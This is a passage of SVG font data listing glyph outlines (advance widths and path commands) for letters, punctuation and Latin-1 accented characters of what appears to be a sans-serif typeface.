<glyph unicode="Q" horiz-adv-x="1595" d="M125 735q0 357 176 553.5t500 196.5q315 0 492 -200t177 -552q0 -281 -113 -467t-319 -252l348 -362h-247l-285 330l-55 -2q-323 0 -498.5 197.5t-175.5 557.5zM305 733q0 -297 126.5 -450.5t367.5 -153.5q243 0 367 153t124 451q0 295 -123.5 447.5t-365.5 152.5 q-243 0 -369.5 -153.5t-126.5 -446.5z" />
<glyph unicode="R" horiz-adv-x="1266" d="M201 0v1462h401q269 0 397.5 -103t128.5 -310q0 -290 -294 -392l397 -657h-201l-354 608h-305v-608h-170zM371 754h233q180 0 264 71.5t84 214.5q0 145 -85.5 209t-274.5 64h-221v-559z" />
<glyph unicode="S" horiz-adv-x="1124" d="M106 47v164q90 -38 196 -60t210 -22q170 0 256 64.5t86 179.5q0 76 -30.5 124.5t-102 89.5t-217.5 93q-204 73 -291.5 173t-87.5 261q0 169 127 269t336 100q218 0 401 -80l-53 -148q-181 76 -352 76q-135 0 -211 -58t-76 -161q0 -76 28 -124.5t94.5 -89t203.5 -89.5 q230 -82 316.5 -176t86.5 -244q0 -193 -140 -301t-380 -108q-260 0 -400 67z" />
<glyph unicode="T" horiz-adv-x="1133" d="M18 1311v151h1096v-151h-463v-1311h-170v1311h-463z" />
<glyph unicode="U" horiz-adv-x="1491" d="M186 520v942h170v-954q0 -183 100 -281t294 -98q185 0 285 98.5t100 282.5v952h170v-946q0 -250 -151 -393t-415 -143t-408.5 144t-144.5 396z" />
<glyph unicode="V" horiz-adv-x="1219" d="M0 1462h180l336 -946q58 -163 92 -317q36 162 94 323l334 940h183l-527 -1462h-168z" />
<glyph unicode="W" horiz-adv-x="1896" d="M27 1462h180l231 -903q48 -190 70 -344q27 183 80 358l262 889h180l275 -897q48 -155 81 -350q19 142 72 346l230 901h180l-391 -1462h-168l-295 979q-21 65 -47 164t-27 119q-22 -132 -70 -289l-286 -973h-168z" />
<glyph unicode="X" horiz-adv-x="1182" d="M8 0l486 764l-453 698h188l363 -579l366 579h181l-453 -692l488 -770h-193l-393 643l-400 -643h-180z" />
<glyph unicode="Y" horiz-adv-x="1147" d="M0 1462h186l387 -731l390 731h184l-488 -895v-567h-172v559z" />
<glyph unicode="Z" horiz-adv-x="1169" d="M82 0v133l776 1176h-752v153h959v-133l-776 -1175h798v-154h-1005z" />
<glyph unicode="[" horiz-adv-x="674" d="M166 -324v1786h457v-141h-289v-1503h289v-142h-457z" />
<glyph unicode="\" horiz-adv-x="752" d="M23 1462h163l547 -1462h-166z" />
<glyph unicode="]" horiz-adv-x="674" d="M51 -182h289v1503h-289v141h457v-1786h-457v142z" />
<glyph unicode="^" horiz-adv-x="1110" d="M49 551l434 922h99l477 -922h-152l-372 745l-334 -745h-152z" />
<glyph unicode="_" horiz-adv-x="918" d="M-4 -184h926v-131h-926v131z" />
<glyph unicode="`" horiz-adv-x="1182" d="M393 1548v21h203q32 -69 89 -159.5t101 -143.5v-25h-110q-65 52 -154 148t-129 159z" />
<glyph unicode="a" horiz-adv-x="1139" d="M94 303q0 332 531 348l186 6v68q0 129 -55.5 190.5t-177.5 61.5q-137 0 -310 -84l-51 127q81 44 177.5 69t193.5 25q196 0 290.5 -87t94.5 -279v-748h-123l-33 156h-8q-82 -103 -163.5 -139.5t-203.5 -36.5q-163 0 -255.5 84t-92.5 239zM268 301q0 -90 54.5 -137 t152.5 -47q155 0 243.5 85t88.5 238v99l-166 -7q-198 -7 -285.5 -61.5t-87.5 -169.5z" />
<glyph unicode="b" horiz-adv-x="1255" d="M176 0v1556h166v-378q0 -127 -8 -228h8q116 164 344 164q216 0 335.5 -147.5t119.5 -417.5t-120.5 -419.5t-334.5 -149.5q-107 0 -195.5 39.5t-148.5 121.5h-12l-35 -141h-119zM342 549q0 -231 77 -330.5t247 -99.5q153 0 228 111.5t75 320.5q0 214 -75 319t-232 105 q-170 0 -245 -97.5t-75 -328.5z" />
<glyph unicode="c" horiz-adv-x="975" d="M115 541q0 275 132.5 425t377.5 150q79 0 158 -17t124 -40l-51 -141q-55 22 -120 36.5t-115 14.5q-334 0 -334 -426q0 -202 81.5 -310t241.5 -108q137 0 281 59v-147q-110 -57 -277 -57q-238 0 -368.5 146.5t-130.5 414.5z" />
<glyph unicode="d" horiz-adv-x="1255" d="M115 545q0 271 120 421t334 150q223 0 342 -162h13l-7 79l-4 77v446h166v-1556h-135l-22 147h-9q-115 -167 -344 -167q-215 0 -334.5 147t-119.5 418zM287 543q0 -210 77 -317t226 -107q170 0 246.5 92.5t76.5 298.5v35q0 233 -77.5 332.5t-247.5 99.5 q-146 0 -223.5 -113.5t-77.5 -320.5z" />
<glyph unicode="e" horiz-adv-x="1149" d="M115 539q0 265 130.5 421t350.5 156q206 0 326 -135.5t120 -357.5v-105h-755q5 -193 97.5 -293t260.5 -100q177 0 350 74v-148q-88 -38 -166.5 -54.5t-189.5 -16.5q-243 0 -383.5 148t-140.5 411zM291 653h573q0 157 -70 240.5t-200 83.5q-132 0 -210.5 -86t-92.5 -238z " />
<glyph unicode="f" horiz-adv-x="694" d="M29 967v75l196 60v61q0 404 353 404q87 0 204 -35l-43 -133q-96 31 -164 31q-94 0 -139 -62.5t-45 -200.5v-71h279v-129h-279v-967h-166v967h-196z" />
<glyph unicode="g" horiz-adv-x="1122" d="M39 -186q0 100 64 173t180 99q-42 19 -70.5 59t-28.5 93q0 60 32 105t101 87q-85 35 -138.5 119t-53.5 192q0 180 108 277.5t306 97.5q86 0 155 -20h379v-105l-203 -24q28 -35 50 -91.5t22 -127.5q0 -161 -110 -257t-302 -96q-49 0 -92 8q-106 -56 -106 -141 q0 -45 37 -66.5t127 -21.5h194q178 0 273.5 -75t95.5 -218q0 -182 -146 -277.5t-426 -95.5q-215 0 -331.5 80t-116.5 226zM199 -184q0 -89 75 -135t215 -46q209 0 309.5 62.5t100.5 169.5q0 89 -55 123.5t-207 34.5h-199q-113 0 -176 -54t-63 -155zM289 745q0 -115 65 -174 t181 -59q243 0 243 236q0 247 -246 247q-117 0 -180 -63t-63 -187z" />
<glyph unicode="h" horiz-adv-x="1257" d="M176 0v1556h166v-471q0 -85 -8 -141h10q49 79 139.5 124.5t206.5 45.5q201 0 301.5 -95.5t100.5 -303.5v-715h-166v709q0 134 -61 200t-191 66q-173 0 -252.5 -94t-79.5 -308v-573h-166z" />
<glyph unicode="i" horiz-adv-x="518" d="M162 1393q0 57 28 83.5t70 26.5q40 0 69 -27t29 -83t-29 -83.5t-69 -27.5q-42 0 -70 27.5t-28 83.5zM176 0v1096h166v-1096h-166z" />
<glyph unicode="j" horiz-adv-x="518" d="M-111 -332q69 -20 136 -20q78 0 114.5 42.5t36.5 129.5v1276h166v-1264q0 -324 -299 -324q-95 0 -154 25v135zM162 1393q0 57 28 83.5t70 26.5q40 0 69 -27t29 -83t-29 -83.5t-69 -27.5q-42 0 -70 27.5t-28 83.5z" />
<glyph unicode="k" horiz-adv-x="1075" d="M176 0v1556h164v-825q0 -55 -8 -170h8q43 61 131 160l354 375h197l-444 -467l475 -629h-201l-387 518l-125 -108v-410h-164z" />
<glyph unicode="l" horiz-adv-x="518" d="M176 0v1556h166v-1556h-166z" />
<glyph unicode="m" horiz-adv-x="1905" d="M176 0v1096h135l27 -150h8q47 80 132.5 125t191.5 45q257 0 336 -186h8q49 86 142 136t212 50q186 0 278.5 -95.5t92.5 -305.5v-715h-166v713q0 131 -56 196.5t-174 65.5q-155 0 -229 -89t-74 -274v-612h-166v713q0 131 -56 196.5t-175 65.5q-156 0 -228.5 -93.5 t-72.5 -306.5v-575h-166z" />
<glyph unicode="n" horiz-adv-x="1257" d="M176 0v1096h135l27 -150h8q51 81 143 125.5t205 44.5q198 0 298 -95.5t100 -305.5v-715h-166v709q0 134 -61 200t-191 66q-172 0 -252 -93t-80 -307v-575h-166z" />
<glyph unicode="o" horiz-adv-x="1237" d="M115 549q0 268 134 417.5t372 149.5q230 0 365.5 -153t135.5 -414q0 -268 -135 -418.5t-373 -150.5q-147 0 -261 69t-176 198t-62 302zM287 549q0 -210 84 -320t247 -110t247.5 109.5t84.5 320.5q0 209 -84.5 317.5t-249.5 108.5q-163 0 -246 -107t-83 -319z" />
<glyph unicode="p" horiz-adv-x="1255" d="M176 -492v1588h135l23 -150h8q64 90 149 130t195 40q218 0 336.5 -149t118.5 -418q0 -270 -120.5 -419.5t-334.5 -149.5q-107 0 -195.5 39.5t-148.5 121.5h-12q12 -96 12 -182v-451h-166zM342 549q0 -231 77 -330.5t247 -99.5q142 0 222.5 115t80.5 317 q0 205 -80.5 314.5t-226.5 109.5q-168 0 -243 -93t-77 -296v-37z" />
<glyph unicode="q" horiz-adv-x="1255" d="M115 545q0 269 120 420t334 151q225 0 346 -170h9l24 150h131v-1588h-166v469q0 100 11 170h-13q-115 -167 -346 -167q-212 0 -331 149t-119 416zM287 543q0 -207 76.5 -315.5t226.5 -108.5q166 0 242 89t81 300v37q0 230 -78 331t-247 101q-146 0 -223.5 -113.5 t-77.5 -320.5z" />
<glyph unicode="r" horiz-adv-x="836" d="M176 0v1096h137l19 -203h8q61 107 147 165t189 58q73 0 131 -12l-23 -154q-68 15 -120 15q-133 0 -227.5 -108t-94.5 -269v-588h-166z" />
<glyph unicode="s" horiz-adv-x="977" d="M106 827q0 134 109 211.5t299 77.5q177 0 346 -72l-59 -135q-165 68 -299 68q-118 0 -178 -37t-60 -102q0 -44 22.5 -75t72.5 -59t192 -81q195 -71 263.5 -143t68.5 -181q0 -153 -114 -236t-320 -83q-218 0 -340 69v154q79 -40 169.5 -63t174.5 -23q130 0 200 41.5 t70 126.5q0 64 -55.5 109.5t-216.5 107.5q-153 57 -217.5 99.5t-96 96.5t-31.5 129z" />
<glyph unicode="t" horiz-adv-x="723" d="M31 967v80l157 69l70 234h96v-254h318v-129h-318v-645q0 -99 47 -152t129 -53q44 0 85 6.5t65 13.5v-127q-27 -13 -79.5 -21.5t-94.5 -8.5q-318 0 -318 335v652h-157z" />
<glyph unicode="u" horiz-adv-x="1257" d="M164 379v717h168v-711q0 -134 61 -200t191 -66q172 0 251.5 94t79.5 307v576h166v-1096h-137l-24 147h-9q-51 -81 -141.5 -124t-206.5 -43q-200 0 -299.5 95t-99.5 304z" />
<glyph unicode="v" horiz-adv-x="1026" d="M0 1096h178l236 -650q80 -228 94 -296h8q11 53 69.5 219.5t262.5 726.5h178l-416 -1096h-194z" />
<glyph unicode="w" horiz-adv-x="1593" d="M23 1096h174q106 -413 161.5 -629t63.5 -291h8q11 57 35.5 147.5t42.5 143.5l201 629h180l196 -629q56 -172 76 -289h8q4 36 21.5 111t208.5 807h172l-303 -1096h-197l-201 643q-19 59 -71 268h-8q-40 -175 -70 -270l-207 -641h-192z" />
<glyph unicode="x" horiz-adv-x="1073" d="M39 0l401 561l-381 535h189l289 -420l288 420h187l-381 -535l401 -561h-188l-307 444l-310 -444h-188z" />
<glyph unicode="y" horiz-adv-x="1032" d="M2 1096h178l240 -625q79 -214 98 -309h8q13 51 54.5 174.5t271.5 759.5h178l-471 -1248q-70 -185 -163.5 -262.5t-229.5 -77.5q-76 0 -150 17v133q55 -12 123 -12q171 0 244 192l61 156z" />
<glyph unicode="z" horiz-adv-x="958" d="M82 0v113l598 854h-561v129h743v-129l-590 -838h605v-129h-795z" />
<glyph unicode="{" horiz-adv-x="776" d="M61 498v141q130 2 188 48t58 142v306q0 155 108 241t290 86v-139q-230 -6 -230 -199v-295q0 -215 -223 -254v-12q223 -39 223 -254v-297q0 -102 58.5 -148t171.5 -48v-140q-190 2 -294 87t-104 239v303q0 104 -63 148.5t-183 44.5z" />
<glyph unicode="|" horiz-adv-x="1128" d="M494 -496v2052h141v-2052h-141z" />
<glyph unicode="}" horiz-adv-x="776" d="M72 -184q111 2 169 48t58 148v297q0 114 55 174t168 80v12q-223 39 -223 254v295q0 193 -227 199v139q184 0 289.5 -87t105.5 -240v-306q0 -97 59 -142.5t189 -47.5v-141q-122 0 -185 -44.5t-63 -148.5v-303q0 -153 -102.5 -238.5t-292.5 -87.5v140z" />
<glyph unicode="~" d="M104 592v151q100 109 244 109q68 0 124.5 -14t145.5 -52q66 -28 115 -41.5t96 -13.5q54 0 118 32t118 89v-150q-102 -110 -244 -110q-72 0 -135 16.5t-135 48.5q-75 32 -120 44t-93 12q-53 0 -116.5 -33.5t-117.5 -87.5z" />
<glyph unicode="&#xa1;" horiz-adv-x="547" d="M152 983q0 63 31.5 99t88.5 36q51 0 86 -32t35 -103q0 -135 -121 -135q-60 0 -90 35.5t-30 99.5zM168 -373l51 1057h105l51 -1057h-207z" />
<glyph unicode="&#xa2;" d="M190 741q0 508 396 570v172h135v-164q75 -3 146 -19.5t120 -39.5l-49 -140q-133 51 -242 51q-172 0 -253 -105.5t-81 -322.5q0 -212 79.5 -313.5t246.5 -101.5q141 0 283 59v-147q-105 -54 -252 -60v-200h-133v206q-203 32 -299.5 168.5t-96.5 386.5z" />
<glyph unicode="&#xa3;" d="M63 0v141q205 47 205 291v223h-198v127h198v316q0 178 112 280.5t302 102.5t360 -84l-61 -133q-154 77 -297 77q-123 0 -185.5 -62t-62.5 -202v-295h422v-127h-422v-221q0 -100 -32.5 -168t-106.5 -112h795v-154h-1029z" />
<glyph unicode="&#xa4;" d="M123 1092l94 92l135 -133q104 73 234 73q127 0 229 -73l137 133l95 -92l-134 -138q74 -113 74 -231q0 -131 -74 -234l131 -135l-92 -92l-137 133q-102 -71 -229 -71q-134 0 -234 73l-135 -133l-92 92l133 136q-74 107 -74 231q0 122 74 229zM313 723q0 -112 78.5 -192 t194.5 -80t195 79.5t79 192.5q0 114 -80 195t-194 81q-116 0 -194.5 -82t-78.5 -194z" />
<glyph unicode="&#xa5;" d="M31 1462h178l375 -727l379 727h174l-416 -770h262v-127h-317v-170h317v-127h-317v-268h-164v268h-316v127h316v170h-316v127h256z" />
<glyph unicode="&#xa6;" horiz-adv-x="1128" d="M494 281h141v-777h-141v777zM494 780v776h141v-776h-141z" />
<glyph unicode="&#xa7;" horiz-adv-x="1057" d="M123 57v148q78 -37 175 -59.5t179 -22.5q134 0 204.5 38t70.5 109q0 46 -24 75t-78 58t-169 72q-142 52 -209 97t-100 102t-33 135q0 86 43 154.5t121 105.5q-74 40 -116 95.5t-42 140.5q0 121 103.5 190.5t300.5 69.5q94 0 173.5 -14.5t176.5 -53.5l-53 -131 q-98 39 -165.5 52.5t-143.5 13.5q-116 0 -174 -29.5t-58 -93.5q0 -60 61.5 -102t215.5 -97q186 -68 261 -143.5t75 -182.5q0 -90 -41 -160.5t-115 -111.5q153 -81 153 -227q0 -140 -117 -216.5t-329 -76.5q-218 0 -346 65zM285 829q0 -77 66 -129.5t233 -113.5l49 -19 q137 80 137 191q0 83 -73.5 139t-258.5 113q-68 -19 -110.5 -69t-42.5 -112z" />
<glyph unicode="&#xa8;" horiz-adv-x="1182" d="M309 1393q0 52 26.5 75t63.5 23q38 0 65.5 -23t27.5 -75q0 -50 -27.5 -74.5t-65.5 -24.5q-37 0 -63.5 24.5t-26.5 74.5zM690 1393q0 52 26.5 75t63.5 23t64.5 -23t27.5 -75q0 -50 -27.5 -74.5t-64.5 -24.5t-63.5 24.5t-26.5 74.5z" />
<glyph unicode="&#xa9;" horiz-adv-x="1704" d="M100 731q0 200 100 375t275 276t377 101q200 0 375 -100t276 -275t101 -377q0 -197 -97 -370t-272 -277t-383 -104q-207 0 -382 103.5t-272.5 276.5t-97.5 371zM205 731q0 -173 87 -323.5t237.5 -237t322.5 -86.5q174 0 323 87t236.5 235.5t87.5 324.5q0 174 -87 323 t-235.5 236.5t-324.5 87.5q-174 0 -323 -87t-236.5 -235.5t-87.5 -324.5zM481 731q0 209 110.5 332t301.5 123q128 0 246 -60l-58 -118q-108 51 -188 51q-125 0 -192.5 -87t-67.5 -241q0 -168 63.5 -249t194.5 -81q86 0 211 45v-124q-48 -20 -98.5 -34t-120.5 -14 q-194 0 -298 120.5t-104 336.5z" />
<glyph unicode="&#xaa;" horiz-adv-x="725" d="M70 989q0 102 77 154.5t242 58.5l117 4v39q0 133 -148 133q-100 0 -204 -51l-43 96q114 56 247 56q130 0 198.5 -52.5t68.5 -173.5v-452h-93l-24 84q-92 -97 -232 -97q-95 0 -150.5 49.5t-55.5 151.5zM193 989q0 -100 112 -100q201 0 201 180v49l-98 -4 q-112 -4 -163.5 -32.5t-51.5 -92.5z" />
<glyph unicode="&#xab;" horiz-adv-x="1018" d="M82 524v27l342 407l119 -69l-289 -350l289 -351l-119 -71zM477 524v27l344 407l117 -69l-287 -350l287 -351l-117 -71z" />
<glyph unicode="&#xac;" d="M104 653v138h961v-527h-137v389h-824z" />
<glyph unicode="&#xad;" horiz-adv-x="659" d="M84 473v152h491v-152h-491z" />
<glyph unicode="&#xae;" horiz-adv-x="1704" d="M100 731q0 200 100 375t275 276t377 101q200 0 375 -100t276 -275t101 -377q0 -197 -97 -370t-272 -277t-383 -104q-207 0 -382 103.5t-272.5 276.5t-97.5 371zM205 731q0 -173 87 -323.5t237.5 -237t322.5 -86.5q174 0 323 87t236.5 235.5t87.5 324.5q0 174 -87 323 t-235.5 236.5t-324.5 87.5q-174 0 -323 -87t-236.5 -235.5t-87.5 -324.5zM575 285v891h261q166 0 243.5 -65t77.5 -198q0 -80 -42.5 -141.5t-119.5 -91.5l238 -395h-168l-207 354h-135v-354h-148zM723 762h108q80 0 128.5 41.5t48.5 105.5q0 75 -43 107.5t-136 32.5h-106 v-287z" />
<glyph unicode="&#xaf;" horiz-adv-x="1024" d="M-6 1556v127h1036v-127h-1036z" />
<glyph unicode="&#xb0;" horiz-adv-x="877" d="M127 1171q0 130 90.5 221t220.5 91t221 -90.5t91 -221.5q0 -84 -41 -155.5t-114 -113.5t-157 -42q-130 0 -220.5 90t-90.5 221zM242 1171q0 -82 58.5 -139t139.5 -57q80 0 137.5 56.5t57.5 139.5q0 84 -56.5 140.5t-138.5 56.5q-83 0 -140.5 -57t-57.5 -140z" />
<glyph unicode="&#xb1;" d="M104 653v138h410v428h139v-428h412v-138h-412v-426h-139v426h-410zM104 1v138h961v-138h-961z" />
<glyph unicode="&#xb2;" horiz-adv-x="711" d="M49 586v104l236 230q89 86 130 134.5t57.5 86.5t16.5 92q0 68 -40 102.5t-103 34.5q-52 0 -101 -19t-118 -69l-66 88q131 111 283 111q132 0 205.5 -65t73.5 -177q0 -80 -44.5 -155.5t-191.5 -213.5l-174 -165h440v-119h-604z" />
<glyph unicode="&#xb3;" horiz-adv-x="711" d="M33 625v123q147 -68 270 -68q211 0 211 162q0 145 -231 145h-117v107h119q103 0 152.5 39.5t49.5 107.5q0 61 -40 95t-107 34q-66 0 -122 -21.5t-112 -56.5l-69 90q63 45 133 72t164 27q136 0 214.5 -59.5t78.5 -166.5q0 -80 -41 -131.5t-109 -74.5q176 -47 176 -209 q0 -128 -92 -199.5t-260 -71.5q-152 0 -268 56z" />
<glyph unicode="&#xb4;" horiz-adv-x="1182" d="M393 1241v25q48 62 103.5 150t87.5 153h202v-21q-44 -65 -131 -160t-151 -147h-111z" />
<glyph unicode="&#xb5;" horiz-adv-x="1268" d="M176 -492v1588h166v-715q0 -262 254 -262q171 0 250.5 94.5t79.5 306.5v576h166v-1096h-136l-26 147h-10q-111 -167 -340 -167q-150 0 -238 92h-10q10 -84 10 -244v-320h-166z" />
<glyph unicode="&#xb6;" horiz-adv-x="1341" d="M113 1042q0 260 109 387t341 127h557v-1816h-114v1712h-213v-1712h-115v819q-62 -18 -146 -18q-216 0 -317.5 125t-101.5 376z" />
<glyph unicode="&#xb7;" horiz-adv-x="545" d="M152 723q0 66 31 100.5t87 34.5q58 0 90.5 -34.5t32.5 -100.5q0 -65 -33 -100t-90 -35q-51 0 -84.5 31.5t-33.5 103.5z" />
<glyph unicode="&#xb8;" horiz-adv-x="465" d="M37 -377q45 -8 104 -8q79 0 119.5 20t40.5 74q0 43 -39.5 69.5t-148.5 43.5l88 178h110l-55 -115q180 -39 180 -174q0 -97 -76.5 -150t-226.5 -53q-51 0 -96 9v106z" />
<glyph unicode="&#xb9;" horiz-adv-x="711" d="M76 1280l262 182h143v-876h-133v579q0 91 6 181q-22 -22 -49 -44.5t-162 -117.5z" />
<glyph unicode="&#xba;" horiz-adv-x="768" d="M66 1135q0 163 84 253.5t235 90.5q152 0 234.5 -91t82.5 -253q0 -164 -85.5 -255.5t-235.5 -91.5q-146 0 -230.5 93t-84.5 254zM188 1135q0 -122 45.5 -183t149.5 -61q105 0 151 61t46 183q0 123 -46 182t-151 59q-103 0 -149 -59t-46 -182z" />
<glyph unicode="&#xbb;" horiz-adv-x="1018" d="M80 188l287 351l-287 350l117 69l344 -407v-27l-344 -407zM475 188l287 351l-287 350l117 69l344 -407v-27l-344 -407z" />
<glyph unicode="&#xbc;" horiz-adv-x="1597" d="M252 0l903 1462h143l-903 -1462h-143zM75 1280l262 182h143v-876h-133v579q0 91 6 181q-22 -22 -49 -44.5t-162 -117.5zM817 203v101l408 579h139v-563h125v-117h-125v-202h-145v202h-402zM957 320h262v195q0 134 6 209q-5 -12 -17 -31.5t-27 -41.5l-30 -46 q-15 -22 -26 -39z" />
<glyph unicode="&#xbd;" horiz-adv-x="1597" d="M184 0l903 1462h143l-903 -1462h-143zM46 1280l262 182h143v-876h-133v579q0 91 6 181q-22 -22 -49 -44.5t-162 -117.5zM895 1v104l236 230q89 86 130 134.5t57.5 86.5t16.5 92q0 68 -40 102.5t-103 34.5q-52 0 -101 -19t-118 -69l-66 88q131 111 283 111 q132 0 205.5 -65t73.5 -177q0 -80 -44.5 -155.5t-191.5 -213.5l-174 -165h440v-119h-604z" />
<glyph unicode="&#xbe;" horiz-adv-x="1597" d="M26 625v123q147 -68 270 -68q211 0 211 162q0 145 -231 145h-117v107h119q103 0 152.5 39.5t49.5 107.5q0 61 -40 95t-107 34q-66 0 -122 -21.5t-112 -56.5l-69 90q63 45 133 72t164 27q136 0 214.5 -59.5t78.5 -166.5q0 -80 -41 -131.5t-109 -74.5q176 -47 176 -209 q0 -128 -92 -199.5t-260 -71.5q-152 0 -268 56zM344 0l903 1462h143l-903 -1462h-143zM897 203v101l408 579h139v-563h125v-117h-125v-202h-145v202h-402zM1037 320h262v195q0 134 6 209q-5 -12 -17 -31.5t-27 -41.5l-30 -46q-15 -22 -26 -39z" />
<glyph unicode="&#xbf;" horiz-adv-x="879" d="M51 -37q0 70 17.5 122.5t49.5 97t76.5 85.5t98.5 88q101 88 133.5 146t32.5 151v31h131v-51q0 -122 -37.5 -196t-134.5 -158q-121 -106 -151.5 -143.5t-43 -76t-12.5 -94.5q0 -100 66 -156.5t188 -56.5q80 0 155 19t173 67l59 -135q-197 -96 -395 -96q-190 0 -298 93 t-108 263zM397 983q0 64 33 99.5t88 35.5q51 0 86 -32t35 -103q0 -135 -121 -135q-59 0 -90 34.5t-31 100.5z" />
<glyph unicode="&#xc0;" horiz-adv-x="1296" d="M0 0l578 1468h143l575 -1468h-176l-182 465h-586l-180 -465h-172zM412 618h473l-170 453q-33 86 -68 211q-22 -96 -63 -211zM331 1886v21h203q32 -69 89 -159.5t101 -143.5v-25h-110q-65 52 -154 148t-129 159z" />
<glyph unicode="&#xc1;" horiz-adv-x="1296" d="M0 0l578 1468h143l575 -1468h-176l-182 465h-586l-180 -465h-172zM412 618h473l-170 453q-33 86 -68 211q-22 -96 -63 -211zM526 1579v25q48 62 103.5 150t87.5 153h202v-21q-44 -65 -131 -160t-151 -147h-111z" />
<glyph unicode="&#xc2;" horiz-adv-x="1296" d="M0 0l578 1468h143l575 -1468h-176l-182 465h-586l-180 -465h-172zM412 618h473l-170 453q-33 86 -68 211q-22 -96 -63 -211zM303 1579v23q127 136 178 200t74 105h166q22 -42 76.5 -108.5t179.5 -196.5v-23h-119q-88 55 -221 186q-136 -134 -219 -186h-115z" />
<glyph unicode="&#xc3;" horiz-adv-x="1296" d="M0 0l578 1468h143l575 -1468h-176l-182 465h-586l-180 -465h-172zM412 618h473l-170 453q-33 86 -68 211q-22 -96 -63 -211zM268 1579q13 121 70.5 189.5t148.5 68.5q46 0 89 -18.5t82 -41t75 -41t68 -18.5q49 0 73 29.5t39 91.5h99q-13 -121 -69.5 -189.5t-150.5 -68.5 q-43 0 -84 18.5t-80.5 41t-76 41t-70.5 18.5q-50 0 -75.5 -30t-39.5 -91h-98z" />
<glyph unicode="&#xc4;" horiz-adv-x="1296" d="M0 0l578 1468h143l575 -1468h-176l-182 465h-586l-180 -465h-172zM412 618h473l-170 453q-33 86 -68 211q-22 -96 -63 -211zM364 1731q0 52 26.5 75t63.5 23q38 0 65.5 -23t27.5 -75q0 -50 -27.5 -74.5t-65.5 -24.5q-37 0 -63.5 24.5t-26.5 74.5zM745 1731q0 52 26.5 75 t63.5 23t64.5 -23t27.5 -75q0 -50 -27.5 -74.5t-64.5 -24.5t-63.5 24.5t-26.5 74.5z" />
<glyph unicode="&#xc5;" horiz-adv-x="1296" d="M0 0l578 1468h143l575 -1468h-176l-182 465h-586l-180 -465h-172zM412 618h473l-170 453q-33 86 -68 211q-22 -96 -63 -211zM424 1585q0 98 60.5 155.5t160.5 57.5q101 0 163 -59.5t62 -151.5q0 -98 -61.5 -157.5t-163.5 -59.5q-101 0 -161 58.5t-60 156.5zM528 1585 q0 -56 30 -86.5t87 -30.5q52 0 84.5 30.5t32.5 86.5t-33 86.5t-84 30.5t-84 -30.5t-33 -86.5z" />
<glyph unicode="&#xc6;" horiz-adv-x="1788" d="M-2 0l698 1462h969v-151h-580v-471h541v-150h-541v-538h580v-152h-750v465h-514l-227 -465h-176zM469 618h446v693h-118z" />
<glyph unicode="&#xc7;" horiz-adv-x="1292" d="M125 733q0 226 84.5 396t244 262t375.5 92q230 0 402 -84l-72 -146q-166 78 -332 78q-241 0 -380.5 -160.5t-139.5 -439.5q0 -287 134.5 -443.5t383.5 -156.5q153 0 349 55v-149q-152 -57 -375 -57q-323 0 -498.5 196t-175.5 557zM551 -377q45 -8 104 -8q79 0 119.5 20 t40.5 74q0 43 -39.5 69.5t-148.5 43.5l88 178h110l-55 -115q180 -39 180 -174q0 -97 -76.5 -150t-226.5 -53q-51 0 -96 9v106z" />
<glyph unicode="&#xc8;" horiz-adv-x="1139" d="M201 0v1462h815v-151h-645v-471h606v-150h-606v-538h645v-152h-815zM320 1886v21h203q32 -69 89 -159.5t101 -143.5v-25h-110q-65 52 -154 148t-129 159z" />
<glyph unicode="&#xc9;" horiz-adv-x="1139" d="M201 0v1462h815v-151h-645v-471h606v-150h-606v-538h645v-152h-815zM456 1579v25q48 62 103.5 150t87.5 153h202v-21q-44 -65 -131 -160t-151 -147h-111z" />
<glyph unicode="&#xca;" horiz-adv-x="1139" d="M201 0v1462h815v-151h-645v-471h606v-150h-606v-538h645v-152h-815zM263 1579v23q127 136 178 200t74 105h166q22 -42 76.5 -108.5t179.5 -196.5v-23h-119q-88 55 -221 186q-136 -134 -219 -186h-115z" />
<glyph unicode="&#xcb;" horiz-adv-x="1139" d="M201 0v1462h815v-151h-645v-471h606v-150h-606v-538h645v-152h-815zM327 1731q0 52 26.5 75t63.5 23q38 0 65.5 -23t27.5 -75q0 -50 -27.5 -74.5t-65.5 -24.5q-37 0 -63.5 24.5t-26.5 74.5zM708 1731q0 52 26.5 75t63.5 23t64.5 -23t27.5 -75q0 -50 -27.5 -74.5 t-64.5 -24.5t-63.5 24.5t-26.5 74.5z" />
<glyph unicode="&#xcc;" horiz-adv-x="571" d="M201 0v1462h170v-1462h-170zM5 1886v21h203q32 -69 89 -159.5t101 -143.5v-25h-110q-65 52 -154 148t-129 159z" />
<glyph unicode="&#xcd;" horiz-adv-x="571" d="M201 0v1462h170v-1462h-170zM179 1579v25q48 62 103.5 150t87.5 153h202v-21q-44 -65 -131 -160t-151 -147h-111z" />
<glyph unicode="&#xce;" horiz-adv-x="571" d="M201 0v1462h170v-1462h-170zM-57 1579v23q127 136 178 200t74 105h166q22 -42 76.5 -108.5t179.5 -196.5v-23h-119q-88 55 -221 186q-136 -134 -219 -186h-115z" />
<glyph unicode="&#xcf;" horiz-adv-x="571" d="M201 0v1462h170v-1462h-170zM5 1731q0 52 26.5 75t63.5 23q38 0 65.5 -23t27.5 -75q0 -50 -27.5 -74.5t-65.5 -24.5q-37 0 -63.5 24.5t-26.5 74.5zM386 1731q0 52 26.5 75t63.5 23t64.5 -23t27.5 -75q0 -50 -27.5 -74.5t-64.5 -24.5t-63.5 24.5t-26.5 74.5z" />
<glyph unicode="&#xd0;" horiz-adv-x="1479" d="M47 649v150h154v663h434q337 0 527 -187.5t190 -529.5q0 -362 -196.5 -553.5t-565.5 -191.5h-389v649h-154zM371 147h190q610 0 610 592q0 576 -569 576h-231v-516h379v-150h-379v-502z" />
<glyph unicode="&#xd1;" horiz-adv-x="1544" d="M201 0v1462h192l797 -1222h8q-2 28 -9 174q-5 114 -5 177v32v839h159v-1462h-194l-799 1227h-8q16 -216 16 -396v-831h-157zM411 1579q13 121 70.5 189.5t148.5 68.5q46 0 89 -18.5t82 -41t75 -41t68 -18.5q49 0 73 29.5t39 91.5h99q-13 -121 -69.5 -189.5t-150.5 -68.5 q-43 0 -84 18.5t-80.5 41t-76 41t-70.5 18.5q-50 0 -75.5 -30t-39.5 -91h-98z" />
